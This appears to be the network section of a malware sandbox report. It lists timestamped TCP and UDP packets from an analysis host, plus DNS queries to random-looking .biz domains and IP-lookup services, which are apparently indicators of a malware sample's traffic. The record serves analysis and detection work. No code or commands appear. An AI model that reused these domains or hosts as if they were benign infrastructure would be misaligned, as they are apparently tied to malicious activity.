Dec 11, 2024 09:26:10.695481062 CET	80	49707	18.141.10.107	192.168.2.5
Dec 11, 2024 09:26:11.482453108 CET	80	49706	18.141.10.107	192.168.2.5
Dec 11, 2024 09:26:11.482482910 CET	80	49706	18.141.10.107	192.168.2.5
Dec 11, 2024 09:26:11.482531071 CET	49706	80	192.168.2.5	18.141.10.107
Dec 11, 2024 09:26:11.482640028 CET	49706	80	192.168.2.5	18.141.10.107
Dec 11, 2024 09:26:11.604324102 CET	80	49706	18.141.10.107	192.168.2.5
Dec 11, 2024 09:26:12.058533907 CET	49708	80	192.168.2.5	54.244.188.177
Dec 11, 2024 09:26:12.180787086 CET	80	49708	54.244.188.177	192.168.2.5
Dec 11, 2024 09:26:12.181022882 CET	49708	80	192.168.2.5	54.244.188.177
Dec 11, 2024 09:26:12.181054115 CET	49708	80	192.168.2.5	54.244.188.177
Dec 11, 2024 09:26:12.181054115 CET	49708	80	192.168.2.5	54.244.188.177
Dec 11, 2024 09:26:12.301836967 CET	80	49708	54.244.188.177	192.168.2.5
Dec 11, 2024 09:26:12.301846981 CET	80	49708	54.244.188.177	192.168.2.5
Dec 11, 2024 09:26:12.597376108 CET	80	49707	18.141.10.107	192.168.2.5
Dec 11, 2024 09:26:12.597516060 CET	80	49707	18.141.10.107	192.168.2.5
Dec 11, 2024 09:26:12.597628117 CET	49707	80	192.168.2.5	18.141.10.107
Dec 11, 2024 09:26:12.625039101 CET	49707	80	192.168.2.5	18.141.10.107
Dec 11, 2024 09:26:13.102772951 CET	49709	80	192.168.2.5	193.122.6.168
Dec 11, 2024 09:26:13.223254919 CET	80	49709	193.122.6.168	192.168.2.5
Dec 11, 2024 09:26:13.223383904 CET	49709	80	192.168.2.5	193.122.6.168
Dec 11, 2024 09:26:13.223695993 CET	49709	80	192.168.2.5	193.122.6.168
Dec 11, 2024 09:26:13.344494104 CET	80	49709	193.122.6.168	192.168.2.5
Dec 11, 2024 09:26:13.539892912 CET	80	49708	54.244.188.177	192.168.2.5
Dec 11, 2024 09:26:13.540182114 CET	80	49708	54.244.188.177	192.168.2.5
Dec 11, 2024 09:26:13.540254116 CET	49708	80	192.168.2.5	54.244.188.177
Dec 11, 2024 09:26:13.542753935 CET	49708	80	192.168.2.5	54.244.188.177
Dec 11, 2024 09:26:13.665364027 CET	80	49708	54.244.188.177	192.168.2.5
Dec 11, 2024 09:26:14.117172956 CET	49710	80	192.168.2.5	44.221.84.105
Dec 11, 2024 09:26:14.238030910 CET	80	49710	44.221.84.105	192.168.2.5
Dec 11, 2024 09:26:14.238171101 CET	49710	80	192.168.2.5	44.221.84.105
Dec 11, 2024 09:26:14.238643885 CET	49710	80	192.168.2.5	44.221.84.105
Dec 11, 2024 09:26:14.238643885 CET	49710	80	192.168.2.5	44.221.84.105
Dec 11, 2024 09:26:14.359252930 CET	80	49710	44.221.84.105	192.168.2.5
Dec 11, 2024 09:26:14.359263897 CET	80	49710	44.221.84.105	192.168.2.5
Dec 11, 2024 09:26:14.493051052 CET	80	49709	193.122.6.168	192.168.2.5
Dec 11, 2024 09:26:14.497525930 CET	49709	80	192.168.2.5	193.122.6.168
Dec 11, 2024 09:26:14.617983103 CET	80	49709	193.122.6.168	192.168.2.5
Dec 11, 2024 09:26:14.903294086 CET	80	49709	193.122.6.168	192.168.2.5
Dec 11, 2024 09:26:14.947021961 CET	49709	80	192.168.2.5	193.122.6.168
Dec 11, 2024 09:26:15.087615013 CET	49711	443	192.168.2.5	172.67.177.134
Dec 11, 2024 09:26:15.087652922 CET	443	49711	172.67.177.134	192.168.2.5
Dec 11, 2024 09:26:15.087774038 CET	49711	443	192.168.2.5	172.67.177.134
Dec 11, 2024 09:26:15.093009949 CET	49711	443	192.168.2.5	172.67.177.134
Dec 11, 2024 09:26:15.093028069 CET	443	49711	172.67.177.134	192.168.2.5
Dec 11, 2024 09:26:15.337960005 CET	80	49710	44.221.84.105	192.168.2.5
Dec 11, 2024 09:26:15.338048935 CET	80	49710	44.221.84.105	192.168.2.5
Dec 11, 2024 09:26:15.338099957 CET	49710	80	192.168.2.5	44.221.84.105
Dec 11, 2024 09:26:15.338551998 CET	49710	80	192.168.2.5	44.221.84.105
Dec 11, 2024 09:26:15.459261894 CET	80	49710	44.221.84.105	192.168.2.5
Dec 11, 2024 09:26:15.920469046 CET	49712	80	192.168.2.5	172.234.222.138
Dec 11, 2024 09:26:16.041362047 CET	80	49712	172.234.222.138	192.168.2.5
Dec 11, 2024 09:26:16.041543007 CET	49712	80	192.168.2.5	172.234.222.138
Dec 11, 2024 09:26:16.042012930 CET	49712	80	192.168.2.5	172.234.222.138
Dec 11, 2024 09:26:16.042012930 CET	49712	80	192.168.2.5	172.234.222.138
Dec 11, 2024 09:26:16.162416935 CET	80	49712	172.234.222.138	192.168.2.5
Dec 11, 2024 09:26:16.162592888 CET	80	49712	172.234.222.138	192.168.2.5
Dec 11, 2024 09:26:16.311474085 CET	443	49711	172.67.177.134	192.168.2.5
Dec 11, 2024 09:26:16.311624050 CET	49711	443	192.168.2.5	172.67.177.134
Dec 11, 2024 09:26:16.317184925 CET	49711	443	192.168.2.5	172.67.177.134
Dec 11, 2024 09:26:16.317199945 CET	443	49711	172.67.177.134	192.168.2.5
Dec 11, 2024 09:26:16.317437887 CET	443	49711	172.67.177.134	192.168.2.5
Dec 11, 2024 09:26:16.368881941 CET	49711	443	192.168.2.5	172.67.177.134
Dec 11, 2024 09:26:16.371140957 CET	49711	443	192.168.2.5	172.67.177.134
Dec 11, 2024 09:26:16.415339947 CET	443	49711	172.67.177.134	192.168.2.5
Dec 11, 2024 09:26:16.759182930 CET	443	49711	172.67.177.134	192.168.2.5
Dec 11, 2024 09:26:16.759243965 CET	443	49711	172.67.177.134	192.168.2.5
Dec 11, 2024 09:26:16.759310007 CET	49711	443	192.168.2.5	172.67.177.134
Dec 11, 2024 09:26:16.765834093 CET	49711	443	192.168.2.5	172.67.177.134
Dec 11, 2024 09:26:17.188370943 CET	80	49712	172.234.222.138	192.168.2.5
Dec 11, 2024 09:26:17.228262901 CET	49712	80	192.168.2.5	172.234.222.138
Dec 11, 2024 09:26:17.338543892 CET	49713	80	192.168.2.5	72.52.179.174
Dec 11, 2024 09:26:17.459186077 CET	80	49713	72.52.179.174	192.168.2.5
Dec 11, 2024 09:26:17.459280968 CET	49713	80	192.168.2.5	72.52.179.174
Dec 11, 2024 09:26:17.465089083 CET	49713	80	192.168.2.5	72.52.179.174
Dec 11, 2024 09:26:17.585643053 CET	80	49713	72.52.179.174	192.168.2.5
Dec 11, 2024 09:26:20.718612909 CET	80	49713	72.52.179.174	192.168.2.5
Dec 11, 2024 09:26:20.759506941 CET	49713	80	192.168.2.5	72.52.179.174
Dec 11, 2024 09:26:21.129717112 CET	49715	80	192.168.2.5	13.248.148.254
Dec 11, 2024 09:26:21.250199080 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:26:21.250283003 CET	49715	80	192.168.2.5	13.248.148.254
Dec 11, 2024 09:26:21.250545979 CET	49715	80	192.168.2.5	13.248.148.254
Dec 11, 2024 09:26:21.371072054 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:26:21.864192009 CET	49709	80	192.168.2.5	193.122.6.168
Dec 11, 2024 09:26:21.986447096 CET	80	49709	193.122.6.168	192.168.2.5
Dec 11, 2024 09:26:22.270047903 CET	80	49709	193.122.6.168	192.168.2.5
Dec 11, 2024 09:26:22.321994066 CET	49709	80	192.168.2.5	193.122.6.168
Dec 11, 2024 09:26:22.412658930 CET	49716	443	192.168.2.5	149.154.167.220
Dec 11, 2024 09:26:22.412688971 CET	443	49716	149.154.167.220	192.168.2.5
Dec 11, 2024 09:26:22.412750006 CET	49716	443	192.168.2.5	149.154.167.220
Dec 11, 2024 09:26:22.413194895 CET	49716	443	192.168.2.5	149.154.167.220
Dec 11, 2024 09:26:22.413207054 CET	443	49716	149.154.167.220	192.168.2.5
Dec 11, 2024 09:26:22.554306030 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:26:22.554636955 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:26:22.554718971 CET	49715	80	192.168.2.5	13.248.148.254
Dec 11, 2024 09:26:22.554822922 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:26:22.554830074 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:26:22.554857016 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:26:22.554863930 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:26:22.554886103 CET	49715	80	192.168.2.5	13.248.148.254
Dec 11, 2024 09:26:22.554914951 CET	49715	80	192.168.2.5	13.248.148.254
Dec 11, 2024 09:26:22.555110931 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:26:22.555118084 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:26:22.555124998 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:26:22.555130959 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:26:22.555155039 CET	49715	80	192.168.2.5	13.248.148.254
Dec 11, 2024 09:26:22.555205107 CET	49715	80	192.168.2.5	13.248.148.254
Dec 11, 2024 09:26:22.675265074 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:26:22.675343037 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:26:22.676187992 CET	49715	80	192.168.2.5	13.248.148.254
Dec 11, 2024 09:26:22.746599913 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:26:22.746676922 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:26:22.746788979 CET	49715	80	192.168.2.5	13.248.148.254
Dec 11, 2024 09:26:22.750765085 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:26:22.781728983 CET	49712	80	192.168.2.5	172.234.222.138
Dec 11, 2024 09:26:22.781763077 CET	49712	80	192.168.2.5	172.234.222.138
Dec 11, 2024 09:26:22.790818930 CET	49715	80	192.168.2.5	13.248.148.254
Dec 11, 2024 09:26:22.902136087 CET	80	49712	172.234.222.138	192.168.2.5
Dec 11, 2024 09:26:22.902328014 CET	80	49712	172.234.222.138	192.168.2.5
Dec 11, 2024 09:26:23.120907068 CET	80	49712	172.234.222.138	192.168.2.5
Dec 11, 2024 09:26:23.165766954 CET	49712	80	192.168.2.5	172.234.222.138
Dec 11, 2024 09:26:23.381673098 CET	49713	80	192.168.2.5	72.52.179.174
Dec 11, 2024 09:26:23.502516031 CET	80	49713	72.52.179.174	192.168.2.5
Dec 11, 2024 09:26:23.797808886 CET	443	49716	149.154.167.220	192.168.2.5
Dec 11, 2024 09:26:23.797880888 CET	49716	443	192.168.2.5	149.154.167.220
Dec 11, 2024 09:26:23.799653053 CET	49716	443	192.168.2.5	149.154.167.220
Dec 11, 2024 09:26:23.799664974 CET	443	49716	149.154.167.220	192.168.2.5
Dec 11, 2024 09:26:23.799894094 CET	443	49716	149.154.167.220	192.168.2.5
Dec 11, 2024 09:26:23.801575899 CET	49716	443	192.168.2.5	149.154.167.220
Dec 11, 2024 09:26:23.847337008 CET	443	49716	149.154.167.220	192.168.2.5
Dec 11, 2024 09:26:23.847867012 CET	49716	443	192.168.2.5	149.154.167.220
Dec 11, 2024 09:26:23.847878933 CET	443	49716	149.154.167.220	192.168.2.5
Dec 11, 2024 09:26:24.482908010 CET	443	49716	149.154.167.220	192.168.2.5
Dec 11, 2024 09:26:24.483027935 CET	443	49716	149.154.167.220	192.168.2.5
Dec 11, 2024 09:26:24.483098984 CET	49716	443	192.168.2.5	149.154.167.220
Dec 11, 2024 09:26:24.483601093 CET	49716	443	192.168.2.5	149.154.167.220
Dec 11, 2024 09:26:24.547502995 CET	80	49713	72.52.179.174	192.168.2.5
Dec 11, 2024 09:26:24.551563978 CET	49715	80	192.168.2.5	13.248.148.254
Dec 11, 2024 09:26:24.587655067 CET	49713	80	192.168.2.5	72.52.179.174
Dec 11, 2024 09:26:24.671993017 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:26:25.057082891 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:26:25.059555054 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:26:25.059695959 CET	49715	80	192.168.2.5	13.248.148.254
Dec 11, 2024 09:26:25.059731960 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:26:25.066915035 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:26:25.067003012 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:26:25.067065954 CET	49715	80	192.168.2.5	13.248.148.254
Dec 11, 2024 09:26:25.072541952 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:26:25.072613001 CET	49715	80	192.168.2.5	13.248.148.254
Dec 11, 2024 09:26:25.072655916 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:26:25.080888987 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:26:25.080950975 CET	49715	80	192.168.2.5	13.248.148.254
Dec 11, 2024 09:26:25.081105947 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:26:25.089584112 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:26:25.089601994 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:26:25.089658022 CET	49715	80	192.168.2.5	13.248.148.254
Dec 11, 2024 09:26:25.097898006 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:26:25.097915888 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:26:25.097940922 CET	49715	80	192.168.2.5	13.248.148.254
Dec 11, 2024 09:26:25.106230021 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:26:25.106287003 CET	49715	80	192.168.2.5	13.248.148.254
Dec 11, 2024 09:26:25.106328011 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:26:25.150152922 CET	49715	80	192.168.2.5	13.248.148.254
Dec 11, 2024 09:26:26.403898954 CET	49731	80	192.168.2.5	18.141.10.107
Dec 11, 2024 09:26:26.524322987 CET	80	49731	18.141.10.107	192.168.2.5
Dec 11, 2024 09:26:26.524749994 CET	49731	80	192.168.2.5	18.141.10.107
Dec 11, 2024 09:26:26.524910927 CET	49731	80	192.168.2.5	18.141.10.107
Dec 11, 2024 09:26:26.524929047 CET	49731	80	192.168.2.5	18.141.10.107
Dec 11, 2024 09:26:26.645404100 CET	80	49731	18.141.10.107	192.168.2.5
Dec 11, 2024 09:26:26.645608902 CET	80	49731	18.141.10.107	192.168.2.5
Dec 11, 2024 09:26:28.610888004 CET	80	49731	18.141.10.107	192.168.2.5
Dec 11, 2024 09:26:28.611031055 CET	49731	80	192.168.2.5	18.141.10.107
Dec 11, 2024 09:26:28.611047029 CET	80	49731	18.141.10.107	192.168.2.5
Dec 11, 2024 09:26:28.611201048 CET	49731	80	192.168.2.5	18.141.10.107
Dec 11, 2024 09:26:28.731525898 CET	80	49731	18.141.10.107	192.168.2.5
Dec 11, 2024 09:26:30.326698065 CET	49742	80	192.168.2.5	82.112.184.197
Dec 11, 2024 09:26:30.447257042 CET	80	49742	82.112.184.197	192.168.2.5
Dec 11, 2024 09:26:30.447329998 CET	49742	80	192.168.2.5	82.112.184.197
Dec 11, 2024 09:26:30.448394060 CET	49742	80	192.168.2.5	82.112.184.197
Dec 11, 2024 09:26:30.448440075 CET	49742	80	192.168.2.5	82.112.184.197
Dec 11, 2024 09:26:30.569025993 CET	80	49742	82.112.184.197	192.168.2.5
Dec 11, 2024 09:26:30.569037914 CET	80	49742	82.112.184.197	192.168.2.5
Dec 11, 2024 09:26:52.366547108 CET	80	49742	82.112.184.197	192.168.2.5
Dec 11, 2024 09:26:52.366647005 CET	49742	80	192.168.2.5	82.112.184.197
Dec 11, 2024 09:26:52.643193960 CET	49742	80	192.168.2.5	82.112.184.197
Dec 11, 2024 09:26:52.758130074 CET	49792	80	192.168.2.5	82.112.184.197
Dec 11, 2024 09:26:52.763591051 CET	80	49742	82.112.184.197	192.168.2.5
Dec 11, 2024 09:26:52.878750086 CET	80	49792	82.112.184.197	192.168.2.5
Dec 11, 2024 09:26:52.879024982 CET	49792	80	192.168.2.5	82.112.184.197
Dec 11, 2024 09:26:52.879203081 CET	49792	80	192.168.2.5	82.112.184.197
Dec 11, 2024 09:26:52.879223108 CET	49792	80	192.168.2.5	82.112.184.197
Dec 11, 2024 09:26:52.999702930 CET	80	49792	82.112.184.197	192.168.2.5
Dec 11, 2024 09:26:52.999749899 CET	80	49792	82.112.184.197	192.168.2.5
Dec 11, 2024 09:26:53.147124052 CET	80	49712	172.234.222.138	192.168.2.5
Dec 11, 2024 09:26:53.147182941 CET	49712	80	192.168.2.5	172.234.222.138
Dec 11, 2024 09:26:53.147264004 CET	49712	80	192.168.2.5	172.234.222.138
Dec 11, 2024 09:26:53.267859936 CET	80	49712	172.234.222.138	192.168.2.5
Dec 11, 2024 09:27:14.774194002 CET	80	49792	82.112.184.197	192.168.2.5
Dec 11, 2024 09:27:14.774279118 CET	49792	80	192.168.2.5	82.112.184.197
Dec 11, 2024 09:27:14.774318933 CET	49792	80	192.168.2.5	82.112.184.197
Dec 11, 2024 09:27:14.895795107 CET	80	49792	82.112.184.197	192.168.2.5
Dec 11, 2024 09:27:15.959341049 CET	49844	80	192.168.2.5	82.112.184.197
Dec 11, 2024 09:27:16.080399990 CET	80	49844	82.112.184.197	192.168.2.5
Dec 11, 2024 09:27:16.080543995 CET	49844	80	192.168.2.5	82.112.184.197
Dec 11, 2024 09:27:16.080837011 CET	49844	80	192.168.2.5	82.112.184.197
Dec 11, 2024 09:27:16.080857038 CET	49844	80	192.168.2.5	82.112.184.197
Dec 11, 2024 09:27:16.201431036 CET	80	49844	82.112.184.197	192.168.2.5
Dec 11, 2024 09:27:16.201459885 CET	80	49844	82.112.184.197	192.168.2.5
Dec 11, 2024 09:27:27.269644976 CET	80	49709	193.122.6.168	192.168.2.5
Dec 11, 2024 09:27:27.269848108 CET	49709	80	192.168.2.5	193.122.6.168
Dec 11, 2024 09:27:29.580167055 CET	80	49713	72.52.179.174	192.168.2.5
Dec 11, 2024 09:27:29.580226898 CET	49713	80	192.168.2.5	72.52.179.174
Dec 11, 2024 09:27:29.580312014 CET	49713	80	192.168.2.5	72.52.179.174
Dec 11, 2024 09:27:29.700738907 CET	80	49713	72.52.179.174	192.168.2.5
Dec 11, 2024 09:27:37.991838932 CET	80	49844	82.112.184.197	192.168.2.5
Dec 11, 2024 09:27:37.991908073 CET	49844	80	192.168.2.5	82.112.184.197
Dec 11, 2024 09:27:37.992031097 CET	49844	80	192.168.2.5	82.112.184.197
Dec 11, 2024 09:27:37.993707895 CET	49895	80	192.168.2.5	82.112.184.197
Dec 11, 2024 09:27:38.112435102 CET	80	49844	82.112.184.197	192.168.2.5
Dec 11, 2024 09:27:38.114173889 CET	80	49895	82.112.184.197	192.168.2.5
Dec 11, 2024 09:27:38.114248037 CET	49895	80	192.168.2.5	82.112.184.197
Dec 11, 2024 09:27:38.123414993 CET	49895	80	192.168.2.5	82.112.184.197
Dec 11, 2024 09:27:38.132839918 CET	49895	80	192.168.2.5	82.112.184.197
Dec 11, 2024 09:27:38.243844032 CET	80	49895	82.112.184.197	192.168.2.5
Dec 11, 2024 09:27:38.253349066 CET	80	49895	82.112.184.197	192.168.2.5
Dec 11, 2024 09:27:56.775567055 CET	49709	80	192.168.2.5	193.122.6.168
Dec 11, 2024 09:27:56.896222115 CET	80	49709	193.122.6.168	192.168.2.5
Dec 11, 2024 09:27:57.308368921 CET	49715	80	192.168.2.5	13.248.148.254
Dec 11, 2024 09:27:57.429297924 CET	80	49715	13.248.148.254	192.168.2.5
Dec 11, 2024 09:27:57.429371119 CET	49715	80	192.168.2.5	13.248.148.254
Dec 11, 2024 09:28:00.023873091 CET	80	49895	82.112.184.197	192.168.2.5
Dec 11, 2024 09:28:00.023942947 CET	49895	80	192.168.2.5	82.112.184.197
Dec 11, 2024 09:28:00.024024010 CET	49895	80	192.168.2.5	82.112.184.197
Dec 11, 2024 09:28:00.144515038 CET	80	49895	82.112.184.197	192.168.2.5
Dec 11, 2024 09:28:00.587630987 CET	49946	80	192.168.2.5	47.129.31.212
Dec 11, 2024 09:28:00.709594965 CET	80	49946	47.129.31.212	192.168.2.5
Dec 11, 2024 09:28:00.709711075 CET	49946	80	192.168.2.5	47.129.31.212
Dec 11, 2024 09:28:00.709965944 CET	49946	80	192.168.2.5	47.129.31.212
Dec 11, 2024 09:28:00.709983110 CET	49946	80	192.168.2.5	47.129.31.212
Dec 11, 2024 09:28:00.830755949 CET	80	49946	47.129.31.212	192.168.2.5
Dec 11, 2024 09:28:00.830812931 CET	80	49946	47.129.31.212	192.168.2.5
Dec 11, 2024 09:28:02.771852016 CET	80	49946	47.129.31.212	192.168.2.5
Dec 11, 2024 09:28:02.771943092 CET	80	49946	47.129.31.212	192.168.2.5
Dec 11, 2024 09:28:02.772010088 CET	49946	80	192.168.2.5	47.129.31.212
Dec 11, 2024 09:28:02.772134066 CET	49946	80	192.168.2.5	47.129.31.212
Dec 11, 2024 09:28:02.892688990 CET	80	49946	47.129.31.212	192.168.2.5
Dec 11, 2024 09:28:04.251483917 CET	49952	80	192.168.2.5	13.251.16.150
Dec 11, 2024 09:28:04.372040987 CET	80	49952	13.251.16.150	192.168.2.5
Dec 11, 2024 09:28:04.372121096 CET	49952	80	192.168.2.5	13.251.16.150
Dec 11, 2024 09:28:04.372708082 CET	49952	80	192.168.2.5	13.251.16.150
Dec 11, 2024 09:28:04.372839928 CET	49952	80	192.168.2.5	13.251.16.150
Dec 11, 2024 09:28:04.493273973 CET	80	49952	13.251.16.150	192.168.2.5
Dec 11, 2024 09:28:04.493294954 CET	80	49952	13.251.16.150	192.168.2.5
Dec 11, 2024 09:28:06.443178892 CET	80	49952	13.251.16.150	192.168.2.5
Dec 11, 2024 09:28:06.443192959 CET	80	49952	13.251.16.150	192.168.2.5
Dec 11, 2024 09:28:06.443274975 CET	49952	80	192.168.2.5	13.251.16.150
Dec 11, 2024 09:28:06.445017099 CET	49952	80	192.168.2.5	13.251.16.150
Dec 11, 2024 09:28:06.685071945 CET	80	49952	13.251.16.150	192.168.2.5
Dec 11, 2024 09:28:07.087305069 CET	49963	80	192.168.2.5	44.221.84.105
Dec 11, 2024 09:28:07.207947016 CET	80	49963	44.221.84.105	192.168.2.5
Dec 11, 2024 09:28:07.209481001 CET	49963	80	192.168.2.5	44.221.84.105
Dec 11, 2024 09:28:07.209919930 CET	49963	80	192.168.2.5	44.221.84.105
Dec 11, 2024 09:28:07.209964037 CET	49963	80	192.168.2.5	44.221.84.105
Dec 11, 2024 09:28:07.330540895 CET	80	49963	44.221.84.105	192.168.2.5
Dec 11, 2024 09:28:07.330554008 CET	80	49963	44.221.84.105	192.168.2.5
Dec 11, 2024 09:28:08.309787989 CET	80	49963	44.221.84.105	192.168.2.5
Dec 11, 2024 09:28:08.309895992 CET	80	49963	44.221.84.105	192.168.2.5
Dec 11, 2024 09:28:08.310007095 CET	49963	80	192.168.2.5	44.221.84.105
Dec 11, 2024 09:28:08.323252916 CET	49963	80	192.168.2.5	44.221.84.105
Dec 11, 2024 09:28:08.443747997 CET	80	49963	44.221.84.105	192.168.2.5
Dec 11, 2024 09:28:09.147567987 CET	49964	80	192.168.2.5	18.141.10.107
Dec 11, 2024 09:28:09.269741058 CET	80	49964	18.141.10.107	192.168.2.5
Dec 11, 2024 09:28:09.270920992 CET	49964	80	192.168.2.5	18.141.10.107
Dec 11, 2024 09:28:09.271538973 CET	49964	80	192.168.2.5	18.141.10.107
Dec 11, 2024 09:28:09.271564960 CET	49964	80	192.168.2.5	18.141.10.107
Dec 11, 2024 09:28:09.392013073 CET	80	49964	18.141.10.107	192.168.2.5
Dec 11, 2024 09:28:09.392035961 CET	80	49964	18.141.10.107	192.168.2.5
Dec 11, 2024 09:28:11.355875969 CET	80	49964	18.141.10.107	192.168.2.5
Dec 11, 2024 09:28:11.355987072 CET	80	49964	18.141.10.107	192.168.2.5
Dec 11, 2024 09:28:11.356100082 CET	49964	80	192.168.2.5	18.141.10.107
Dec 11, 2024 09:28:11.356175900 CET	49964	80	192.168.2.5	18.141.10.107
Dec 11, 2024 09:28:11.476582050 CET	80	49964	18.141.10.107	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 11, 2024 09:26:06.715599060 CET	60157	53	192.168.2.5	1.1.1.1
Dec 11, 2024 09:26:07.194257021 CET	53	60157	1.1.1.1	192.168.2.5
Dec 11, 2024 09:26:08.771385908 CET	49739	53	192.168.2.5	1.1.1.1
Dec 11, 2024 09:26:09.239639044 CET	53	49739	1.1.1.1	192.168.2.5
Dec 11, 2024 09:26:09.956470013 CET	61475	53	192.168.2.5	1.1.1.1
Dec 11, 2024 09:26:10.094953060 CET	53	61475	1.1.1.1	192.168.2.5
Dec 11, 2024 09:26:11.489006996 CET	58424	53	192.168.2.5	1.1.1.1
Dec 11, 2024 09:26:11.964744091 CET	53	58424	1.1.1.1	192.168.2.5
Dec 11, 2024 09:26:12.958703041 CET	64656	53	192.168.2.5	1.1.1.1
Dec 11, 2024 09:26:13.096537113 CET	53	64656	1.1.1.1	192.168.2.5
Dec 11, 2024 09:26:13.552428961 CET	54173	53	192.168.2.5	1.1.1.1
Dec 11, 2024 09:26:14.045520067 CET	53	54173	1.1.1.1	192.168.2.5
Dec 11, 2024 09:26:14.945664883 CET	60952	53	192.168.2.5	1.1.1.1
Dec 11, 2024 09:26:15.086813927 CET	53	60952	1.1.1.1	192.168.2.5
Dec 11, 2024 09:26:15.356321096 CET	58130	53	192.168.2.5	1.1.1.1
Dec 11, 2024 09:26:15.859508038 CET	53	58130	1.1.1.1	192.168.2.5
Dec 11, 2024 09:26:17.197757959 CET	58733	53	192.168.2.5	1.1.1.1
Dec 11, 2024 09:26:17.336075068 CET	53	58733	1.1.1.1	192.168.2.5
Dec 11, 2024 09:26:20.725092888 CET	52275	53	192.168.2.5	1.1.1.1
Dec 11, 2024 09:26:21.128962040 CET	53	52275	1.1.1.1	192.168.2.5
Dec 11, 2024 09:26:22.273940086 CET	53780	53	192.168.2.5	1.1.1.1
Dec 11, 2024 09:26:22.411789894 CET	53	53780	1.1.1.1	192.168.2.5
Dec 11, 2024 09:26:25.131880045 CET	51325	53	192.168.2.5	1.1.1.1
Dec 11, 2024 09:26:25.355968952 CET	53	51325	1.1.1.1	192.168.2.5
Dec 11, 2024 09:26:25.356894970 CET	63116	53	192.168.2.5	1.1.1.1
Dec 11, 2024 09:26:25.977432013 CET	53	63116	1.1.1.1	192.168.2.5
Dec 11, 2024 09:26:28.635011911 CET	60083	53	192.168.2.5	1.1.1.1
Dec 11, 2024 09:26:28.870990992 CET	53	60083	1.1.1.1	192.168.2.5
Dec 11, 2024 09:26:29.003189087 CET	59424	53	192.168.2.5	1.1.1.1
Dec 11, 2024 09:26:29.216865063 CET	53	59424	1.1.1.1	192.168.2.5
Dec 11, 2024 09:26:29.220451117 CET	52335	53	192.168.2.5	1.1.1.1
Dec 11, 2024 09:26:30.097273111 CET	53	52335	1.1.1.1	192.168.2.5
Dec 11, 2024 09:27:14.800203085 CET	57696	53	192.168.2.5	1.1.1.1
Dec 11, 2024 09:27:15.798722029 CET	53	57696	1.1.1.1	192.168.2.5
Dec 11, 2024 09:28:00.024872065 CET	54889	53	192.168.2.5	1.1.1.1
Dec 11, 2024 09:28:00.579090118 CET	53	54889	1.1.1.1	192.168.2.5
Dec 11, 2024 09:28:02.773384094 CET	56213	53	192.168.2.5	1.1.1.1
Dec 11, 2024 09:28:03.530263901 CET	53	56213	1.1.1.1	192.168.2.5
Dec 11, 2024 09:28:06.460102081 CET	63076	53	192.168.2.5	1.1.1.1
Dec 11, 2024 09:28:07.079525948 CET	53	63076	1.1.1.1	192.168.2.5
Dec 11, 2024 09:28:08.323911905 CET	60454	53	192.168.2.5	1.1.1.1
Dec 11, 2024 09:28:08.902352095 CET	53	60454	1.1.1.1	192.168.2.5
Dec 11, 2024 09:28:11.356839895 CET	63915	53	192.168.2.5	1.1.1.1
Dec 11, 2024 09:28:11.978425980 CET	53	63915	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 11, 2024 09:26:06.715599060 CET	192.168.2.5	1.1.1.1	0xb8f	Standard query (0)	pywolwnvd.biz	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:08.771385908 CET	192.168.2.5	1.1.1.1	0x9442	Standard query (0)	ssbzmoy.biz	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:09.956470013 CET	192.168.2.5	1.1.1.1	0x4a1e	Standard query (0)	ssbzmoy.biz	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:11.489006996 CET	192.168.2.5	1.1.1.1	0x8665	Standard query (0)	cvgrf.biz	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:12.958703041 CET	192.168.2.5	1.1.1.1	0x1690	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:13.552428961 CET	192.168.2.5	1.1.1.1	0xefbc	Standard query (0)	npukfztj.biz	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:14.945664883 CET	192.168.2.5	1.1.1.1	0x944f	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
